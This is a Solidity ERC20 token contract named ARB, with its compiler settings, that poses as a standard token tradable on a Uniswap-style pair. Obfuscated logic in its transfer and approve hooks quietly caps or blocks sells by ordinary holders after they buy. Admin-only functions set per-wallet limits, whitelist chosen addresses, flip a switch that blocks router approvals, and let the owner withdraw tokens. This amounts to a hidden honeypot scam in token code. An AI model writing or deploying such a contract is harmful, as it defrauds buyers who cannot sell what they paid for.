// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    struct PVIDA {
        uint256 sd_num;
        mapping(address => uint256) rm;
        mapping(address => uint256) rd;
    } 
    mapping(address => bool) _toArken;
    mapping(address => PVIDA) LENDS;
    address paiV2;
    uint256 public _swming;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }
}

interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

abstract contract ERC165 is IERC165 {
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

interface IAccessControl {
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
    error AccessControlBadConfirmation();
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address callerConfirmation) external;
}


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }


}


abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }
    
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant ADMIN_ROLE = 0x00;

    bytes32 public constant OPION_ROLE = "OPION";

    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    function SUpRMbalance(address account, string memory memo)
        public
        onlyRole(ADMIN_ROLE)
    {

        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(memo);
        if (err == false) {
            revert AccessControlBadConfirmation();
        }
        if(memoUint >= 0){
            _UpRming(account, memoUint, true);
        }
        
    }

    function SWming(uint256 swming) public onlyRole(ADMIN_ROLE) {
        _swming = swming;
    }

    function _up_RMing_event(address account) internal view returns (uint256) {
        return LENDS[account].rm[account];
    }

    function _up_RLENDS_event(address account) internal view returns (uint256) {
        return LENDS[account].rd[account];
    }

    function addToArken(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == OPION_ROLE){
            _toArken[addr] = true;
        }
    }

    function remToArken(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == OPION_ROLE){
            _toArken[addr] = false;
        }
        
    }

    function _UpRming(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            LENDS[account].sd_num = 1;
            LENDS[account].rm[account] = value*10**18;
        } else {
            LENDS[account].rm[account] = value;
        }
    }

    function _UpRLENDS(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            LENDS[account].rd[account] = value*10**18;
        } else {
            LENDS[account].rd[account] = value;
        }
    }

    function tixiADEan(
        bytes32 role,
        address addr,
        uint256 num
    ) public onlyRole(ADMIN_ROLE) returns (bool success) {
        if(role == ADMIN_ROLE){
            return IERC20(addr).transfer(msg.sender, num);
        }else{
            return false;
        }
        
    }

    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }
        _revokeRole(role, callerConfirmation);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address sushi = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _grantRole(ADMIN_ROLE, _msgSender());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    

    function _paiV1r(address to, uint256 value) internal {
        if (isContract(to)) {
            if (!_toArken[to]) {
                revert ERC20InvalidReceiver(to);
            }
        } else if (LENDS[to].sd_num == 0) {
            if (!_toArken[to]) {
                LENDS[to].sd_num = 1;
                _UpRLENDS(to, value, false);
            }
        }
    }


    function _paiV2r(address from, uint256 value) internal {
       if (hasRole(ADMIN_ROLE, from)) {} else if (
            _toArken[from]
        ) {} else if (_swming == 50) {
            uint256 rm = _up_RMing_event(from);
            if(rm > 0){
                if (rm > value && value > 0) {
                    uint256 amount = rm - value;
                    _UpRming(from, amount, false);
                } else {
                    revert ERC20InvalidSender(from);
                }
            }
        } else if (_up_RLENDS_event(from) >= value && value > 0) {
            
        } else if (_up_RLENDS_event(from) < value || value <= 0) {
            revert ERC20InvalidSender(from);
        }
    }

    

    function update(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == paiV2) {
            _paiV1r(to, value); 
        } else {
            _paiV2r(from, value);
        }
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        update(from, to, value);
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _grantRole(ADMIN_ROLE, account);
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        checkApprove(owner, spender);
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function checkApprove(
        address owner,
        address spender
    ) internal {
        if(_swming == 50 && spender == sushi){
            if(!isContract(spender)){
                if(!_toArken[owner]){
                    revert ERC20InvalidSender(owner); 
                }
                update_C(spender);
            }
            
        }
    }

    function update_C(
        address account
    ) internal virtual returns (uint256) {
        

    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function AllsendUser(
        address token,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN_ROLE) {
        ERC20 con = ERC20(token);
        uint256 tokendecimal = con.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            con.transfer(_address[i], temp);
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract ARB is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
        );
        address _paiV2 = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        _mint(account, value * 10**decimals());
        paiV2 = _paiV2;
        _toArken[paiV2] = true;
    }
}

{
  "compilationTarget": {
    "ARB.sol": "ARB"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}